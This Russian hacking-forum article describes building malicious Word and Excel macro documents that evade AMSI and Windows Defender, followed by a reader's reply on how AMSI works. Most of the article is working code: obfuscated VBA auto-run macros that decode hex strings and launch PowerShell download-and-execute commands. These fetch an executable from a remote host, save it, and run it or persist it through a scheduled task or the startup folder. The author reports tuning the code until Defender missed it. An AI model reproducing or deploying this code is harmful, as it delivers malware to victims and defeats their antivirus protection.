• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Maldoc

onek1lo

HDD-drive
Пользователь
Регистрация
19.11.2019
Сообщения
25
Реакции
34
Депозит
0.16
Сегодня я хотел бы написать про свои потуги свой мини-ресерч на довольно актуальную тему - макросы. Не то чтобы я профи в это сфере, но вредоносные доки интересовали меня довольно давно, и только сейчас я до них добрался. А тут и конкурс, и есть чем поделиться. Надеюсь, кому-то будет интересно почитать.

Статья написана исключительно в развлекательных целях и не призывает к действию!

Макросы - одна из фич программ пакета майкрософт, позволяющая автоматизировать действия продвинутого офисного планктона. Так уж получилось, что пакет msoffice стоит у большого количества юзеров, в том числе на пк разных компаний. Это стало отправной точкой многих атак, тк не каждый пользователь вообще знает что такое макрос, и уж тем более не подозревает о возможном вреде. Несмотря на то что в последнее время уровень компьютерной грамотности людей в мире сильно повысился, вредоносные доки до сих пор пользуются популярностью у спамеров.

----- AMSI -----

На мой взгляд, макйрософт быстро прохавали, что куча разных системных тулз и механизмов облегчили злоумышленникам проникновение в систему. В связи с этим они добавили новую фичу в defender - advanced malware scan interface (amsi).

Так как дефендер установлен на большинстве пк, написание макроса стоит начать со знакомства с этим интерфейсом. По запросу гугла находим две статьи на сайте майков.

Что такое амси - https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal

Вкратце - набор предоставляемых функций, которые можно вызывать откуда угодно и сканировать файлы/стоки/блоки памяти. Чуть ниже видим, что эта фича мониторит интерпретаторы скриптов - большой брат все видит.

Далее я наткнулся на следующую статью. Также пробежимся по ней.

Вызовы com или winpai функций из макроса логируются. Если они покажутся небезопасными, амси выдаст алерт. Передаваемые в какую либо функцию параметры будут деобфусцированы и амси таки доберется до нашей команды (например в скрипте было Shell("ma" + "lware." + "exe") но в логе будет "malware.exe").

Также амси имеет некий список индикаторов вредоносных файлов. Это winpai функции, какие нибудь сигнатуры, уже спаленные вредоносные url. Собирается этот список на основе самых распространенных вредоносов.

Ниже нам показывают два кейса. В одном дефолтный макрос, в другом макрос c шеллкодом. В обоих случаях амси молодец, сохранил логи и отреагировал как надо.

Промежуточные выводы:
1) Реализовывать что то объемное (какой нибудь runpe или патч amsi) на vba тяжело (ну, лично мне). Нужно использовать минимум вызовов com/winapi.
2) Обфускация сторк внутри vba скрипта (обход статического анализа)
3) Обфускация переданной в шелл команды (обход скана во время запуска)
4) Powershell - гибкий и хорошо поддающийся обфускации инструмент.
5) Используем не самые заюзанные техники обфускации/доставки нагрузки.

Итак, теперь мы имеем поверхностное представление об amsi. И это мы узнали посетив всего лишь один сайт майкрософта, лол.

При создании дока я не буду использовать какие-то прямые обходы amsi, ограничусь по большей части обфускацией.

----- VBA макрос -----

Схема проста: декодим/расшифровываем и запускаем команду ps.

Антивирусы очень не любят функции вба типа asc, chr, xor и подобное - сразу вешают генерик. Нам придется обходиться самописными функциями/алгоритмами для преобразований команды. Ну или можно дернуть какую-нибудь функцию енкода/шифрования из паблик сурсов и переписать под себя.
Лично я выбрал очень простой подход - перегнал команду в hex строку.

Сурсы генератора выкладовать конечно же не буду ( ̶з̶а̶ ̶к̶о̶д̶ ̶с̶т̶ы̶д̶н̶о̶ зиродей технология). Пробежимся вкратце:
1) Генерим имена глобальных переменных. С ними мы будем работать в сабах.
3) Генерим имена сабов. Мы будем вызывать их.
4) Генерим тела сабов. Несложные мат действия над переменными.
5) Генерим функцию енкода и функцию запуска расшифрованной команды.
6) Объединяем все вместе


В конце имеем что то типа такого:
Код:
Public YkiAC As String
Public ecBlmauAU As String
Public qSPvNQ As String
Public UHxIYPG As String
Public snSaS As String
Public CImHGXy As String
Public pnhwD As String
Public JpYTgha As String
Public uCxkj As String
Public gcvUpthoP As String
Public fsmOqOEu As String
Public uZgAnPC As String
Public eYIxqwR As String
Public vuhUI As Integer
Public hXhgfl As Integer
Public GfqHi As Integer
Public gVUVoE As Integer
Sub mSFMS()
gVUVoE = 7
GfqHi = 9 + GfqHi
hXhgfl = 9
gVUVoE = 8
End Sub

Private Sub ubUbQYsl()
GfqHi = 5
vuhUI = 8
vuhUI = 5 + GfqHi
hXhgfl = 9 - gVUVoE
End Sub

Sub Document_Open()
YkiAC = ""
YkiAC = YkiAC & "506f5765727368654c4c20"
wXStfR
YkiAC = YkiAC & "203d3b20247031203d2024"
nMoxfOuQR
YkiAC = YkiAC & "656e763a70726f6772616d"
HxbuuXmvF
YkiAC = YkiAC & "646174613b247032203d20"
YHxqDuLjK
YkiAC = YkiAC & "275c6b656b2e736372273b"
YHxqDuLjK
YkiAC = YkiAC & "247033203d202727202b20"
HxbuuXmvF
YkiAC = YkiAC & "27687427202b202774273b"
GycHVc
YkiAC = YkiAC & "247034203d20276e65742e"
ammQmLB
YkiAC = YkiAC & "273b247035203d20277765"
ammQmLB
YkiAC = YkiAC & "27202b202762636c27202b"
ubUbQYsl
YkiAC = YkiAC & "202769656e74273b247036"
ubUbQYsl
YkiAC = YkiAC & "203d20276427202b20276f"
HxbuuXmvF
YkiAC = YkiAC & "27202b2027776e27202b20"
nMoxfOuQR
YkiAC = YkiAC & "276c6f27202b2027616427"
ubUbQYsl
YkiAC = YkiAC & "202b202764617461273b24"
ubUbQYsl
YkiAC = YkiAC & "7037203d20277772697427"
OZxfeAy
YkiAC = YkiAC & "202b202765616c27202b20"
HxbuuXmvF
YkiAC = YkiAC & "276c627927202b20277465"
ubUbQYsl
YkiAC = YkiAC & "73273b247038203d206e65"
OZxfeAy
YkiAC = YkiAC & "772d6f626a656374206469"
GycHVc
YkiAC = YkiAC & "61676e6f73746963732e70"
mSFMS
YkiAC = YkiAC & "726f636573733b24776562"
TKyxbtato
YkiAC = YkiAC & "203d206e65772d6f626a65"
ubUbQYsl
YkiAC = YkiAC & "6374202470342470353b24"
ubUbQYsl
YkiAC = YkiAC & "6279746573203d20247765"
nMoxfOuQR
YkiAC = YkiAC & "622e24703628247033202b"
OZxfeAy
YkiAC = YkiAC & "202727202b2027703a2720"
nMoxfOuQR
YkiAC = YkiAC & "2b20272f2f27202b202731"
ubUbQYsl
YkiAC = YkiAC & "3927202b2027322e27202b"
OZxfeAy
YkiAC = YkiAC & "2027313627202b2027382e"
OZxfeAy
YkiAC = YkiAC & "27202b2027312e27202b20"
wXStfR
YkiAC = YkiAC & "27343527202b20272f5365"
HxbuuXmvF
YkiAC = YkiAC & "7227202b2027766527202b"
nMoxfOuQR
YkiAC = YkiAC & "2027722e657827202b2027"
mSFMS
YkiAC = YkiAC & "6527293b5b696f2e66696c"
HxbuuXmvF
YkiAC = YkiAC & "655d3a3a24703728247031"
mSFMS
YkiAC = YkiAC & "202b202470322c20246279"
OZxfeAy
YkiAC = YkiAC & "746573293b2470382e7374"
HxbuuXmvF
YkiAC = YkiAC & "617274696e666f2e66696c"
wXStfR
YkiAC = YkiAC & "656e616d65203d20247031"
GycHVc
YkiAC = YkiAC & "202b202470323b2470382e"
mSFMS
YkiAC = YkiAC & "737461727428293b"
YHxqDuLjK
ammQmLB

Shell (SbT(YkiAC))
End Sub
Sub TKyxbtato()
hXhgfl = 6 * GfqHi
GfqHi = 8
vuhUI = 5 * GfqHi
GfqHi = 5
End Sub

Sub GycHVc()
GfqHi = 7
GfqHi = 7 + vuhUI
GfqHi = 8 + vuhUI
vuhUI = 9 + vuhUI
End Sub

Private Sub ammQmLB()
GfqHi = 7
hXhgfl = 9 * hXhgfl
gVUVoE = 5
GfqHi = 5 - vuhUI
End Sub

Sub wXStfR()
gVUVoE = 6 * GfqHi
vuhUI = 8 - gVUVoE
hXhgfl = 7
gVUVoE = 9 + gVUVoE
End Sub

Sub nMoxfOuQR()
gVUVoE = 7
vuhUI = 8 - hXhgfl
vuhUI = 6
hXhgfl = 5
End Sub

Sub OZxfeAy()
vuhUI = 6
hXhgfl = 7
hXhgfl = 6
gVUVoE = 8
End Sub

Sub YHxqDuLjK()
hXhgfl = 6 * gVUVoE
gVUVoE = 6 + GfqHi
gVUVoE = 9
vuhUI = 6 - vuhUI
End Sub

Private Sub HxbuuXmvF()
vuhUI = 9
GfqHi = 6
gVUVoE = 5
hXhgfl = 8 - vuhUI
End Sub

Private Function SbT(ByVal wVn As String) As String
hXhgfl = 40 * hXhgfl
Dim ycQlJuQqw
Dim UCwI
Dim EAuZ As Long
For EAuZ = 1 To Len(wVn) Step 2
If True Then
ycQlJuQqw = Mid$(wVn, EAuZ, 2)
UCwI = Val("&h" & ycQlJuQqw & True)
SbT = SbT & Chr$(UCwI)
End If
Next EAuZ
vuhUI = 65 + GfqHi
End Function

В одну переменную кладем нашу хексованную команду. После каждого присваивания вызываем какой нибудь саб с простыми мат действиями. После расшфировки запускаем команду в shell (ну что тут поделать). Имя объекта тоже стоит подвергнуть обфускации.

В теории это все конечно здорово. На практике же начинается жопоболь. Кажется, что дефендер детектит абсолютно все (на скане его нет).

Хорошо, тогда внесем поправки в код. Мы можем хранить строку не в переменных макроса, а где нибудь в элементах докуманта, например в таблице. Получается следующий код:
Код:
Public eeeeeeeee As Integer
Public ggtwer As Integer
Public eereerw As Integer

Sub Document_Open()

Set table1 = ActiveDocument.Tables(1)

Text = Left(table1.Rows(1).Cells(1).Range.Text, Len(table1.Rows(1).Cells(1).Range.Text) - 2)
kek1 = "W" & "S" & "c"
kek2 = "p" & "t.S"
kek3 = kek1 & "ri" & kek2
kek4 = "el" & "l"

Set kek5 = CreateObject(kek3 & "h" & kek4)
kek5.Run bHT(Text), 0
End Sub

Private Function bHT(ByVal PYyAUkg As String) As String
ggtwer = 663 - eeeeeeeee
Dim Ymm
Dim lAj
Dim egOu As Long
For egOu = 1 To Len(PYyAUkg) Step 2
If True Then
Ymm = Mid$(PYyAUkg, egOu, 2)
lAj = Val("&h" & Ymm & True)
bHT = bHT & Chr$(lAj)
End If
Next egOu
eereerw = 666 - eeeeeeeee
End Function


Вроде бы все норм. Можно переходить к ps команде.


----- Powershell -----

Один из самых популярных интрументов среди apt групп. По сути - сишарп в скриптовом виде, а с его помощью можно накодить много чего. Тут каждый пишет что хочет, мы хотим примитив - сохранить и запустить файл.

Применрая команда выглядит как-то так:
Код:
powershell $path = $env:programdata + '\kek.exe';
$bytes = (new-object net.webclient).downloaddata('http://192.168.1.45/serv.exe');
[io.file]::writeallbytes($path, $bytes);
saps $path;

Подумаем что можно с этим сделать:
1) Команде нужна обфускация. При этом паблик обфускаторы нам врядли помогут, поэтому делаем все вручную. Однин хороший человек сделал одну очень хорошую статью.
2) Наверное не стоит юзать командлеты
3) Можно добавить задержки, ошибки, условия
4) Загружаемый файл должен быть безобидного формата

Окей, чуток модифицируем команду:
Код:
PoWersheLL $p1 = $env:programdata + '\' + [io.path]::getrandomfilename().Split('.')[0] + '.'; =;
$p2 = 'exe'; =;
$p3 = '' + 'ht' + 't'; =;
$p4 = 'net.';$p5 = 'cl' + 'ient';
$p6 = 'ad' + 'data'; =;=;=;=;
$p7 = 'writ' + 'eal' + 'lby' + 'tes';$p8 = 'd' + 'ia' + 'gn' + 'o' + 'sti' + 'cs';
$p9 = '.p' + 'roc' + 'es' + 's'; =;=;=;=;
$p10 = new-object $p8$p9; =;=;=;=;
$p11 = 's' + 'tar' + 'tin' + 'fo';
$p12 = 'st' + 'ar' + 't';
$p13 = 'd' + 'o' + 'wn' + 'lo';
$p14 = 'we' + 'b';
$p15 = $p13 + $p6;
$web = new-object $p4$p14$p5;
$input = 'test'; =;
if ($input.Contains('te')){
sleep -s 10;
$bytes = $web.$p15($p3 + '' + 'p:' + '//' + '19' + '2.16' + '8.1.' + '45' + '/se' + 'rv.t' + 'xt'); =;=;=;=;
[io.file]::$p7($p1 + $p2, $bytes); =;=;=;=;
}if ($input.Contains('st')){
sleep -s 10; =;
$p10.$p11.filename = $p1 + $p2;
$p10.$p12();
}

Засовываем ее в таблицу, тестим... Дефендер выдает алерт. Наверное ему не понравилось, что какой то док качает и запускает exe. При этом, если прописать команду в cmd то все пройдет как по маслу. Можно попробовать сохранить файл в текстовике, переименовать его и запустить при помощи какой нибудь сторонней программы. Например планировщик.
Код:
PoWersheLL $p0 = [io.path]::getrandomfilename().Split('.')[0]; $p1 = $env:programdata + '\' + $p0 + '.';
$p2 = 'txt';
$p3 = 'ht' + 't';
$p4 = 'net.';
$p5 = 'cl' + 'ient';
$p6 = 'ad' + 'data';
$p7 = 'writ' + 'eal' + 'lby' + 'tes';
$p8 = 'd' + 'ia' + 'gn' + 'o' + 'sti' + 'cs';
$p9 = '.p' + 'roc' + 'es' + 's';
$p10 = new-object $p8$p9;
$p11 = 's' + 'tar' + 'tin' + 'fo';
$p12 = 'st' + 'ar' + 't';
$p13 = 'd' + 'o' + 'wn' + 'lo';
$p14 = 'we' + 'b';
$p15 = $p13 + $p6;
$p16 = 'ar' + 'g' + 'um' + 'en' + 'ts';
$command1 = '/c  sc^ht^as^ks /cre^ate^ /sc';
$command2 = ' mi^n' + 'ut^e' + ' /m^o ' + '1 /tn ' + $p0 + ' /tr \"' + $p1 + 'com' + '\"';
$web = new-object $p4$p14$p5;
$input = 'test';
if ($input.Contains('te')){
$bytes = $web.$p15($p3 + '' + 'p:' + '//' + '19' + '2.16' + '8.1.' + '45' + '/se' + 'rv.t' + 'xt');
[io.file]::$p7($p1 + $p2, $bytes);
sleep -s 10;
[io.file]::Copy($p1 + $p2, $p1 + 'com');
}if ($input.Contains('st')){
sleep -s 10;
$p10.$p11.filename = 'c' + 'md.' + 'exe';
$p10.$p11.$p16 = $command1 + $command2;
$p10.$p12();
}

Тест... Уже лучше. Дефендер выдал алерт после вызова cmd, но при этом таск был создан и путти запустился через минуту. Но все равно это не то.

Следующая пара тестов тоже не увенчалась успехом. Дефендер агрится в момент запуска софта. В результате я решил отказаться от идеи запуска и просто скопировал файл в папку автозапуска.

Прошу прощенения за шакалистость - мое ведро хром еле тянет, а тут видео записывать пришлось.
Тест:
Скрытый контент для зарегистрированных пользователей.

С выключенным облаком док отрабатывает нормально.

----- Колдунство -----

Для следуюшего теста я сделал новый док и включил клауд. Дефендер не пускает и детектит файл как Trojan:Script/Wacatac.C!ml (одна из дефолтных сигнатур). На этом моменте у меня сильно подгорело - не знаю точно на что агрится антивирус. Попробую поменять что нибудь в доке. Даблхекс стоки, разбитие строки на несколько ячеек в таблице. Вызов ps из cmd (чем черт не шутит).

Код:
Sub Document_Open()
Dim text As String
Dim index As Integer
Set table1 = ActiveDocument.Tables(1)
For index = 1 To 3
If 100 <> 500 Then
text = text & Left(table1.Rows(1).Cells(index).Range.text, Len(table1.Rows(1).Cells(index).Range.text) - 2)
End If
Next index

kek1 = "W" & "S" & "c"
kek2 = "p" & "t.S"
kek3 = kek1 & "ri" & kek2
kek4 = "el" & "l"
Set kek5 = CreateObject(kek3 & "h" & kek4)
kek5.Run bHT(bHT(text)), 0


End Sub

Private Function bHT(ByRef PYyAUkg As String) As String
Dim Ymm
Dim lAj
Dim egOu As Long
For egOu = 1 To Len(PYyAUkg) Step 2
If True Then
Ymm = Mid$(PYyAUkg, egOu, 2)
lAj = Val("&h" & Ymm & True)
bHT = bHT & Chr$(lAj)
End If
Next egOu
End Function

Все так же детект. Значит, скорее всего вся моя конструкция палевная. Тем более что функция хекса была дернута мной из какого то обфускатора (хоть и была немного поправленной) и содержит функции chr и mid.

Хорошо. Главное терпение. Делаем новый алгоритм вба скрипта:
1) Составляем алфавит из всех символов команды, перемешиваем его.
2) Собираем построчно воедино все переменные в порядке команды.

На примере понятнее:
a = 'b'
c = 'a'
b = ' c'
d = d & a
d = d & b
d = d & c ' abc

Ps команда та же.

Такой макрос в виде docm также детектится дефендером (Trojan:Win32/Detplock). Но теперь таблица нам не потребуется. Тогда давайте-ка заюзаем вместо ворда эксель.

Тест:
Скрытый контент для зарегистрированных пользователей.


Какая то магия. На чистые файлы дефендер вешает детект, на грязные - не вешает. Ну или это сканер мудрит. Интересно почитать (если кто напишет) мнение других, более опытных людей касаемо дефендера, облака и вот таких вот странных сигнатур.

Фух, получилось довольно сумбурно, но, надеюсь, интересно. Выводы? Если долго мучиться, что нибудь получится.

Пара картинок с требованием включить макросы (вдруг кому нужно):
Скрытый контент для зарегистрированных пользователей.


Спасибо что дочитали до конца).
 
Последнее редактирование:
В связи с этим они добавили новую фичу в defender - advanced malware scan interface (amsi).
Добавили не в Дефендер, а в вин 10. Это интерфейс. Проще представить туннель с двумя сторонами. На одной стороне тот, кто спавнит событие AmsiScanBuffer после инициализации интерфейса, а на другой стороне тот, кто подписан на такие события, сканит и возвращает результат. Так вот эти 2 программы на двух концах могут быть чем угодно. Из этого следует много серьёзных выводов.

Чуть ниже видим, что эта фича мониторит интерпретаторы скриптов - большой брат все видит.
Наоборот. Не забываем, что это просто ебанный интерфейс producer consumer, он не может просто следить за кем то. В код самих интерпретаторов встроено обращение к AMSI перед «компиляцией» скрипта. Интерпретаторы сами вызывают AmsiScanBuffer перед компиляцией в памяти скриптблока.
———
Извини конечно, но тему с амси ты раскрыл процентов на 10) и спасибо за это кста.
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх